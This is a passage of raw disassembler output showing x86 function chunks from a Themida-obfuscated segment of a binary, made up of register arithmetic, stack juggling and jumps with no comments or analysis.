; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C230
loc_58C8A4: ; CODE XREF: sub_58C230+1143j
mov ebp, 288534AAh
jmp loc_589D65
; END OF FUNCTION CHUNK FOR sub_58C230
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EDD1
loc_58C8AE: ; CODE XREF: sub_58EDD1-E24j
sub ah, bl
jmp loc_58FD2F
; END OF FUNCTION CHUNK FOR sub_58EDD1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C8B5: ; CODE XREF: sub_585452+A419j
push eax
sub esp, 4
push esp
pop [esp+0Eh+var_10+2]
add [esp+0Ah+var_C+2], 4
jmp loc_5896E5
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58C8C9: ; CODE XREF: Themida_:00584915j
mov ebx, 2
push ecx
mov ecx, 2F1B4C24h
sub esi, ecx
jmp loc_58CFA0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C31F
loc_58C8DB: ; CODE XREF: sub_58C31F-F99j
inc eax
and eax, 1FE8504Ah
jmp loc_58837B
; END OF FUNCTION CHUNK FOR sub_58C31F
; ---------------------------------------------------------------------------
loc_58C8E6: ; CODE XREF: Themida_:005863DEj
xor ecx, 945F4E71h
sub edx, ecx
pop ecx
xor eax, edx
pop edx
add edi, eax
pop eax
sub edi, 2
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_58C90D: ; CODE XREF: Themida_:0058EF4Dj
mov ebx, esp
add ebx, 4
jmp loc_586909
; ---------------------------------------------------------------------------
loc_58C91A: ; CODE XREF: Themida_:0058D753j
pop ebx
jmp loc_58785E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C920: ; CODE XREF: sub_585452+514Cj
xor edi, 13876E81h
jmp loc_588579
; END OF FUNCTION CHUNK FOR sub_585452
; =============== S U B R O U T I N E =======================================
sub_58C92B proc near ; CODE XREF: sub_58F728-AF4Fj
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 005841FD SIZE 0000004F BYTES
; FUNCTION CHUNK AT 0058473D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058697A SIZE 00000006 BYTES
push ebx
mov ebx, 2E676A33h
add ebx, 7F6E0C1Ah
neg ebx
inc ebx
add ebx, 0B658B880h
sub edx, 19D855DEh
jmp loc_5841FD
sub_58C92B endp
; ---------------------------------------------------------------------------
mov ax, [esp]
push 2FF3h
mov [esp], eax
push 611Dh
mov [esp], esp
add dword ptr [esp], 4
pop eax
push edi
push 4
pop edi
jmp loc_5871DE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C973: ; CODE XREF: sub_585452+6BEj
shl dh, 3
push bx
mov bh, 0E6h
jmp loc_58DF33
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58C97F: ; CODE XREF: Themida_:0058F2FFj
pop esp
xor ebx, eax
mov dx, [esp]
push ebx
mov ebx, esp
push ebx
mov ebx, esp
jmp loc_585D5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C991: ; CODE XREF: sub_585452+21D1j
mov eax, 18B0758Fh
sub eax, 10412DB8h
xor eax, 6B5638C1h
dec eax
xor eax, 66A8147Fh
jmp loc_58E5AC
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58C9AB: ; CODE XREF: Themida_:00584508j
mov esi, esp
add esi, 4
jmp loc_58EB88
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C9B8: ; CODE XREF: sub_585452+E82j
push 0FFFFh
push [esp-1Ch+arg_16+2]
jmp loc_58919F
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58C9C5: ; CODE XREF: Themida_:00587D96j
pop esi
add esi, 4
push ecx
mov ecx, 71C57B26h
push edi
mov edi, 7FE3CBAh
jmp loc_58F11A
; ---------------------------------------------------------------------------
loc_58C9DD: ; CODE XREF: Themida_:0058FBD3j
sub al, 0F5h
sub al, 0AFh
or dl, al
pop eax
inc dl
not dl
sub dl, 59h
xor dl, 0DCh
add al, dl
pop edx
neg al
sub al, 0A5h
jmp loc_58C6DF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58C9FA: ; CODE XREF: sub_585452+65CAj
xor eax, [esp-1Ch+arg_16+2]
jmp loc_585006
; ---------------------------------------------------------------------------
loc_58CA02: ; CODE XREF: sub_585452+9E4Fj
sub ecx, 2AAE50D8h
mov edx, [esp-1Ch+arg_16+2]
add esp, 4
push eax
mov eax, 2
add ecx, eax
pop eax
xchg ecx, [esp-20h+arg_1A+2]
mov esp, [esp-20h+arg_1A+2]
imul cx, ax
push cx
pushf
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58622C
loc_58CA2C: ; CODE XREF: sub_58622C+7D56j
mov ebx, esp
jmp loc_58B0EA
; END OF FUNCTION CHUNK FOR sub_58622C
; ---------------------------------------------------------------------------
loc_58CA33: ; CODE XREF: Themida_:005876C5j
pop edx
jmp loc_58A86C
; =============== S U B R O U T I N E =======================================
sub_58CA39 proc near ; CODE XREF: sub_58A26F+4A4j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 00587E0E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00588B47 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058933B SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0058C620 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058CC37 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058EDAE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058F123 SIZE 00000042 BYTES
; FUNCTION CHUNK AT 0058FB12 SIZE 00000015 BYTES
push ebp
mov ebp, 6E4D09D3h
sub ecx, ebp
jmp loc_588B47
sub_58CA39 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_587574
loc_58CA46: ; CODE XREF: sub_587574-288Fj
pop ebp
xchg ebx, [esp-4+arg_0]
jmp loc_58A6F1
; END OF FUNCTION CHUNK FOR sub_587574
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58CA4F: ; CODE XREF: sub_585452+2CC8j
xor ch, al
pop ax
inc ch
sub ch, 0E5h
add bh, ch
pop ecx
add bh, 76h
jmp loc_58B719
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58CA63: ; CODE XREF: Themida_:005869ADj
push 3740h
mov [esp], ebp
mov ebp, 49E3928h
and eax, ebp
pop ebp
jmp loc_58C83E
; ---------------------------------------------------------------------------
loc_58CA78: ; CODE XREF: Themida_:0058FB78j
xchg edi, [esp]
pop esp
jmp loc_58B709
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58622C
loc_58CA81: ; CODE XREF: sub_58622C-E00j
inc ebp
xor ebp, 6966404Ch
and ebp, 6B2259E8h
jmp loc_58983E
; END OF FUNCTION CHUNK FOR sub_58622C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58CA93: ; CODE XREF: sub_585452+536Dj
pop edx
push 4F99h
mov [esp+3Eh+var_40+2], eax
push edx
jmp loc_58F1CD
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
pop dword ptr fs:[edx]
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_58CAAA: ; CODE XREF: Themida_:00586447j
pop ebp
push ecx
jmp loc_586AF1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58CAB1: ; CODE XREF: sub_585452+6922j
not dh
jmp loc_5880E0
; ---------------------------------------------------------------------------
loc_58CAB8: ; CODE XREF: sub_585452+8FD1j
pop edi
jmp loc_5899A4
; END OF FUNCTION CHUNK FOR sub_585452
; =============== S U B R O U T I N E =======================================
sub_58CABE proc near ; CODE XREF: sub_58A459+Bj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058D758 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058ED03 SIZE 0000001C BYTES
sub esp, 4
mov [esp+4+var_4], eax
push esi
mov esi, 35C35490h
sub [esp+8+var_4], esi
pop esi
mov edi, [esp+4+var_4]
jmp loc_58D758
sub_58CABE endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58CADA: ; CODE XREF: sub_585452+661Aj
push edx
mov edx, 4
jmp loc_58502A
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58CAE5: ; CODE XREF: Themida_:00585F46j
sub esp, 4
jmp loc_586080
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58CAED: ; CODE XREF: sub_585452+A2C7j
xchg ebp, [esp+0]
jmp loc_58D53A
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58CAF5: ; CODE XREF: Themida_:0058E378j
mov [eax], bh
pop ebx
pop eax
pop edx
pop ebx
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_58CB00: ; CODE XREF: Themida_:00583EA8j
push 796Bh
mov [esp], edx
mov dl, 7
jmp loc_58A099
; ---------------------------------------------------------------------------
loc_58CB0F: ; CODE XREF: Themida_:0058F02Fj
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58CB14: ; CODE XREF: sub_585452+FCCj
push eax
mov eax, 2
jmp loc_584DB3
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58CB1F: ; CODE XREF: Themida_:0058C3ECj
push ecx
mov ecx, 56FE2765h
sub ebx, ecx
pop ecx
push edx
push ecx
jmp loc_58B89D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58CB2F: ; CODE XREF: sub_585452+5A7Fj
sub ebx, 18346755h
sub esp, 4
jmp loc_58F21F
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58CB40: ; CODE XREF: Themida_:005873B6j
add esp, 4
xor ebp, [esp]
jmp loc_58D444
; ---------------------------------------------------------------------------
loc_58CB4B: ; CODE XREF: Themida_:0058DF60j
add esi, 4
jmp loc_5852C5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58CB56: ; CODE XREF: sub_585452+7973j
add ecx, esi
pop esi
add ecx, 4
xor ecx, [esp-32h+arg_2C+2]
xor [esp-32h+arg_2C+2], ecx
xor ecx, [esp-32h+arg_2C+2]
pop esp
shr ecx, 2
jmp loc_58B418
; ---------------------------------------------------------------------------
loc_58CB71: ; CODE XREF: sub_585452+6CBCj
mov ecx, [esp+0]
push 68DBh
mov [esp+4+var_4], esi
mov esi, esp
push ebp
mov ebp, 4
jmp loc_584950
; ---------------------------------------------------------------------------
loc_58CB89: ; CODE XREF: sub_585452-1334j
xor ch, al
mov eax, [esp+4+var_4]
add esp, 4
jmp loc_58C1FC
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58AB18
loc_58CB99: ; CODE XREF: sub_58AB18+3D08j
add edi, 41700BC5h
sub edi, 7A145B80h
add edi, 15B01E08h
jmp loc_5892F0
; END OF FUNCTION CHUNK FOR sub_58AB18
; ---------------------------------------------------------------------------
loc_58CBB0: ; CODE XREF: Themida_:00587653j
mov ch, dl
mov dx, [esp]
add esp, 2
not bl
jmp loc_586EE0
; ---------------------------------------------------------------------------
loc_58CBC0: ; CODE XREF: Themida_:0058B413j
neg bh
neg bh
sub bh, 0
add bh, 9Eh
sub cl, bh
jmp loc_58B948
; ---------------------------------------------------------------------------
loc_58CBD1: ; CODE XREF: Themida_:00586268j
push edi
mov edi, 671636A3h
jmp loc_584177
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58CBDC: ; CODE XREF: sub_58EFBD-7764j
mov eax, 3C594350h
jmp loc_588311
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58CBE6: ; CODE XREF: sub_585452+96DDj
xchg edi, ebp
push edi
jmp loc_58C741
; ---------------------------------------------------------------------------
loc_58CBEE: ; CODE XREF: sub_585452+5502j
push esi
jmp sub_58FA66
; ---------------------------------------------------------------------------
loc_58CBF4: ; CODE XREF: sub_585452+86AAj
pop ecx
sub edi, 5FB64030h
jmp loc_58E756
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58CC00: ; CODE XREF: sub_58EFBD-A483j
mov ecx, [esp+4+var_4]
add esp, 4
sub ebp, 1
and ebp, 45384AF2h
sub ebp, 44384AB0h
mov [edi+20h], ebp
jmp loc_589F8D
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58CC23: ; CODE XREF: sub_585452+A269j
xor [esp-14h+arg_E+2], edi
xor edi, [esp-14h+arg_E+2]
jmp loc_587BC4
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E931
loc_58CC2E: ; CODE XREF: sub_58E931-9825j
add [esp+10h+var_C], edx
jmp loc_584633
; END OF FUNCTION CHUNK FOR sub_58E931
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58CA39
loc_58CC37: ; CODE XREF: sub_58CA39+30E9j
mov [eax], ecx
pop eax
pop ebx
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_58CA39
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C230
loc_58CC40: ; CODE XREF: sub_58C230-34EEj
add esp, 4
neg ecx
add ecx, 229C648Bh
jmp loc_587326
; END OF FUNCTION CHUNK FOR sub_58C230
; ---------------------------------------------------------------------------
loc_58CC50: ; CODE XREF: Themida_:00586341j
sub ebp, ecx
pop ecx
push esi
mov esi, ebp
mov ecx, esi
push dword ptr [esp]
pop esi
add esp, 4
pop ebp
add ebp, ecx
mov ecx, [esp]
add esp, 4
xchg ebp, [esp]
pop esp
movzx cx, al
push small 5A85h
mov [esp], cx
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58AB18
loc_58CC7D: ; CODE XREF: sub_58AB18-37A7j
mov esi, 237945FDh
not esi
dec esi
shr esi, 2
xor esi, 27151DE7h
add esi, 57B6AA1h
sub edi, 5DE71FCh
sub edi, esi
push ebx
mov ebx, 5DE71FCh
add edi, ebx
pop ebx
jmp loc_58E808
; END OF FUNCTION CHUNK FOR sub_58AB18
; ---------------------------------------------------------------------------
loc_58CCAA: ; CODE XREF: Themida_:0058D404j
sub al, dh
sub al, 0ECh
sub al, 56h
push ebx
mov bh, 0A8h
add al, bh
pop ebx
jmp loc_58B0D1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58CCBB: ; CODE XREF: sub_585452-1024j
add ebp, 4
jmp loc_58E356
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58CCC6: ; CODE XREF: Themida_:0058F689j
pop ecx
add ax, 5D9h
sub ax, dx
sub ax, 5D9h
jmp loc_58A2B9
; =============== S U B R O U T I N E =======================================
sub_58CCD7 proc near ; CODE XREF: sub_58D97C-373Dj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00584957 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00588D99 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058AC43 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058B22C SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0058B31D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058C6D2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058D07B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058D311 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058D39A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058DCBC SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058E346 SIZE 00000010 BYTES
push ebx
mov ebx, esp
jmp loc_58AC43
sub_58CCD7 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_58CCDF: ; CODE XREF: Themida_:0058EA98j
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_588480
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B758
loc_58CCEB: ; CODE XREF: sub_58B758-520Fj
pop eax
push edx
push 6C641C87h
pop edx
dec edx
xor edx, 72053DFDh
dec edx
push 3957h
mov [esp+0], ebp
mov ebp, 63807A7Bh
add ebp, 0F9BBA88Ah
sub edx, 557E3363h
sub edx, 34CE2C2Bh
jmp loc_586E6F
; END OF FUNCTION CHUNK FOR sub_58B758
; ---------------------------------------------------------------------------
loc_58CD1F: ; CODE XREF: Themida_:00589104j
xor ecx, [esp]
mov esp, [esp]
push edx
mov edx, 0B0217C7h
jmp loc_58E019
; ---------------------------------------------------------------------------
mov cx, [esp]
push edi
push esp
pop edi
push 4CC1h
mov [esp], ebx
push ecx
push 6CF63DAFh
pop ecx
add ecx, 0F0B83167h
jmp loc_58D4C5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58CD51: ; CODE XREF: sub_585452+204Cj
mov [esp+0], ebp
jmp loc_58475D
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58CD59: ; CODE XREF: Themida_:0058EA2Fj
dec edi
add edi, 23F5DF45h
sub ebx, edi
pop edi
add eax, ebx
pop ebx
add eax, 2A3C3F27h
push ebp
push 67A5h
mov [esp], ecx
jmp loc_58D841
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58CD79: ; CODE XREF: sub_585452+4501j
add edi, 4
xchg edi, [esp+12h+var_14+2]
pop esp
xor al, ch
pop ecx
jmp loc_58B937
; ---------------------------------------------------------------------------
loc_58CD88: ; CODE XREF: sub_585452+9A2Dj
not ecx
inc ecx
sub ecx, 0F8B1B126h
mov ebx, ecx
mov ecx, [esp+0Ah+var_C+2]
add esp, 4
and ecx, ebx
mov ebx, [esp+6+var_8+2]
push ecx
push esp
mov ecx, [esp+0Eh+var_10+2]
add esp, 4
push esi
mov esi, 27F00805h
jmp loc_58CDB9
; ---------------------------------------------------------------------------
loc_58CDB4: ; CODE XREF: sub_585452+5854j
jmp loc_589F94
; ---------------------------------------------------------------------------
loc_58CDB9: ; CODE XREF: sub_585452+795Dj
sub esi, 46782094h
sub esi, 0E177E76Dh
jmp loc_58CB56
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58CDCA: ; CODE XREF: Themida_:0058CFBCj
push dword ptr [esp]
pop edx
push eax
mov eax, esp
add eax, 4
push edi
mov edi, 4
add eax, edi
pop edi
xchg eax, [esp]
jmp loc_58774C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58CDE7: ; CODE XREF: sub_585452+18B1j
mov [edx+30h], ebp
pop ebp
jmp loc_589849
; ---------------------------------------------------------------------------
loc_58CDF0: ; CODE XREF: sub_585452-1791j
pop eax
jmp loc_58A4B0
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58DA2E
loc_58CDF6: ; CODE XREF: sub_58DA2E-1D8Fj
pop ebx
xor ah, 0E5h
push ebx
push edx
push ebx
jmp loc_5899BC
; END OF FUNCTION CHUNK FOR sub_58DA2E
; ---------------------------------------------------------------------------
loc_58CE02: ; CODE XREF: Themida_:0058C21Dj
mov cx, [esp]
jmp loc_58F360
; ---------------------------------------------------------------------------
loc_58CE0B: ; CODE XREF: Themida_:005842B4j
push ebp
mov ebp, esp
push 74D3h
mov [esp], edx
push 4FFBh
jmp loc_58DBDD
; ---------------------------------------------------------------------------
loc_58CE20: ; CODE XREF: Themida_:0058A06Dj
pop esp
add esi, 4
jmp loc_584CF5
; ---------------------------------------------------------------------------
loc_58CE2C: ; CODE XREF: Themida_:0058B318j
add esp, 4
add esp, 4
jmp loc_588BB4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58CE3A: ; CODE XREF: sub_585452+A436j
xor ebx, 4E172094h
neg ebx
xor ebx, 667E5668h
jmp loc_58E31F
; ---------------------------------------------------------------------------
loc_58CE4D: ; CODE XREF: sub_585452+9B5Dj
push esi
mov esi, 0CFF56762h
xor eax, esi
jmp loc_586180
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58CE5A: ; CODE XREF: Themida_:0058A739j
pop ecx
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_58D8DC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58CE6F: ; CODE XREF: sub_585452+2359j
neg ebx
sub ebx, 0BD430063h
jmp loc_58BAEA
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58CE7C: ; CODE XREF: sub_58EFBD-3D5Cj
mov eax, [esp+0Ch+var_C]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+10h+var_10]
pop esp
add eax, 4
push edx
push ecx
push 14B831EAh
jmp loc_587145
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
loc_58CEA3: ; CODE XREF: Themida_:00583FDDj
push ebp
push esp
pop ebp
add ebp, 4
push edx
mov edx, 2
sub ebp, edx
pop edx
jmp loc_58A504
; ---------------------------------------------------------------------------
loc_58CEBA: ; CODE XREF: Themida_:0058F5BEj
pop ecx
xor esi, [esp]
xor [esp], esi
jmp loc_58DF53
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58DD80
loc_58CEC6: ; CODE XREF: sub_58DD80+1j
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp+4+var_4]
pop esp
mov [esp+0], ecx
mov ecx, 213B11AEh
shr ecx, 7
not ecx
xor ecx, 0FBD6CA5Fh
xor ecx, ebp
xor ebp, ecx
xor ecx, ebp
jmp loc_5858FA
; END OF FUNCTION CHUNK FOR sub_58DD80
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58CEF6: ; CODE XREF: sub_585452+6320j
mov al, 0CEh
xor al, 68h
sub bl, 0B0h
jmp loc_58ED8F
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58999B
loc_58CF02: ; CODE XREF: sub_58999B+3FACj
mov [esp+0], ebx
mov ebx, esp
push eax
mov eax, 5B0A41B0h
add eax, 1CC77005h
shl eax, 6
dec eax
push ebx
mov ebx, 5F1B6914h
inc ebx
xor ebx, 0AB77042Eh
sub eax, ebx
jmp loc_586971
; END OF FUNCTION CHUNK FOR sub_58999B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58CF2A: ; CODE XREF: sub_585452+55Cj
add edi, ebx
sub edi, 18E921A0h
push ebx
jmp loc_58FB98
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58CF38: ; CODE XREF: Themida_:0058FE66j
add eax, 76CC5506h
shr eax, 2
push ebp
mov ebp, 9DB42AAh
add eax, ebp
pop ebp
shr eax, 5
shl eax, 2
jmp loc_5885BF
; ---------------------------------------------------------------------------
loc_58CF54: ; CODE XREF: Themida_:005871D9j
mov [esp], esi
push edx
mov edx, 3CF6343Ch
mov esi, 466972EAh
sub esi, edx
pop edx
jmp loc_588194
; =============== S U B R O U T I N E =======================================
sub_58CF6A proc near ; CODE XREF: sub_585452+C1Cj
; FUNCTION CHUNK AT 0058DDC6 SIZE 00000013 BYTES
push ebp
push esp
pop ebp
jmp loc_58DDC6
sub_58CF6A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58CF72: ; CODE XREF: sub_585452+AA72j
or al, 2Ah
inc al
push small 7D5Fh
mov word ptr [esp+54h+var_54], bx
mov bh, 41h
sub al, bh
pop bx
xor cl, al
pop eax
and cl, 38h
push 5B70h
mov [esp+52h+var_54+2], ebx
jmp loc_58853C
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_587574
loc_58CF97: ; CODE XREF: sub_587574+8083j
pop eax
xchg ebp, [esp+0]
jmp loc_58F4CF
; END OF FUNCTION CHUNK FOR sub_587574
; ---------------------------------------------------------------------------
loc_58CFA0: ; CODE XREF: Themida_:0058C8D6j
pop ecx
jmp loc_58A136
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_58CFA6: ; CODE XREF: sub_58EFBD-6DD1j
xchg ebx, edx
neg ebx
xchg ebx, edx
xchg ebp, edx
inc ebp
xor edx, ebp
jmp loc_58C5D1
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
loc_58CFB6: ; CODE XREF: Themida_:00586764j
pop ebx
xor al, dh
push dword ptr [esp]
jmp loc_58CDCA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EA34
loc_58CFC1: ; CODE XREF: sub_58EA34-5354j
xchg eax, [esp+4+var_4]
pop esp
jmp loc_58C29A
; END OF FUNCTION CHUNK FOR sub_58EA34
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58CFCA: ; CODE XREF: sub_585452+2B1Cj
or [edi+1Ch], ebx
pop ebx
jmp loc_58B227
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E234
loc_58CFD3: ; CODE XREF: sub_58E234-2F5Dj
and eax, edi
mov edi, [esp+0]
push edi
mov edi, esp
push esi
jmp loc_58892B
; END OF FUNCTION CHUNK FOR sub_58E234
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58CFE1: ; CODE XREF: sub_585452+9805j
xchg eax, [esp-14h+arg_E+2]
jmp loc_58F31E
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
xor [esp], dl
xor dl, [esp]
xor [esp], dl
sub esp, 2
mov [esp], dx
xchg dh, [esp]
push bx
push ecx
mov ch, dh
mov bl, ch
pop ecx
not bl
mov dh, bl
jmp loc_5875C2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D010: ; CODE XREF: sub_585452+E4j
inc ebx
shl ebx, 8
jmp loc_58B5B4
; ---------------------------------------------------------------------------
loc_58D019: ; CODE XREF: sub_585452-ABj
add ebx, esi
add ebx, 5DC60643h
mov esi, [esp+0]
push ebp
push esp
jmp loc_58B730
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_58D02B: ; CODE XREF: Themida_:0058B9C2j
mov eax, 4
add ecx, eax
mov eax, [esp]
add esp, 4
xchg ecx, [esp]
pop esp
jmp loc_583C20
; ---------------------------------------------------------------------------
loc_58D041: ; CODE XREF: Themida_:00584875j
push eax
push 5A81h
mov [esp], esp
push edx
mov edx, 4
add dword ptr [esp+4], 44A61205h
add [esp+4], edx
push eax
mov eax, 44A61205h
sub [esp+8], eax
pop eax
pop edx
pop eax
add eax, 4
add eax, 4
push eax
push dword ptr [esp+4]
jmp loc_58EF34
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58CCD7
loc_58D07B: ; CODE XREF: sub_58CCD7-3F24j
push edx
jmp loc_584957
; END OF FUNCTION CHUNK FOR sub_58CCD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589967
loc_58D081: ; CODE XREF: sub_589967+2352j
mov [esp+0], eax
jmp loc_586E80
; END OF FUNCTION CHUNK FOR sub_589967
; ---------------------------------------------------------------------------
loc_58D089: ; CODE XREF: Themida_:0058FDC0j
not ebx
xor ebx, 0EC4EF4BBh
sub esi, ebx
pop ebx
pop edx
sub esp, 4
mov [esp], ebp
mov ebp, 2
add esi, ebp
jmp loc_58A2B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58D0A7: ; CODE XREF: sub_585452+3E8Cj
mov ah, 0Ah
sub ch, ah
pop eax
add ch, 6Eh
sub ch, 5Dh
sub ch, dh
add ch, 5Dh
sub ch, 6Eh
add ch, 0Ah
pop dx
sub ch, 52h
shr ch, 6
push ebx
jmp loc_58D1F8
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58BE98
loc_58D0CB: ; CODE XREF: sub_58BE98-2D6Dj
sub eax, 0FBE1433h
jmp loc_585AA6
; END OF FUNCTION CHUNK FOR sub_58BE98
; ---------------------------------------------------------------------------
loc_58D0D5: ; CODE XREF: Themida_:00589E47j
add ebx, 26396E20h
sub ebx, 27E41D66h
jmp loc_58E276
; ---------------------------------------------------------------------------
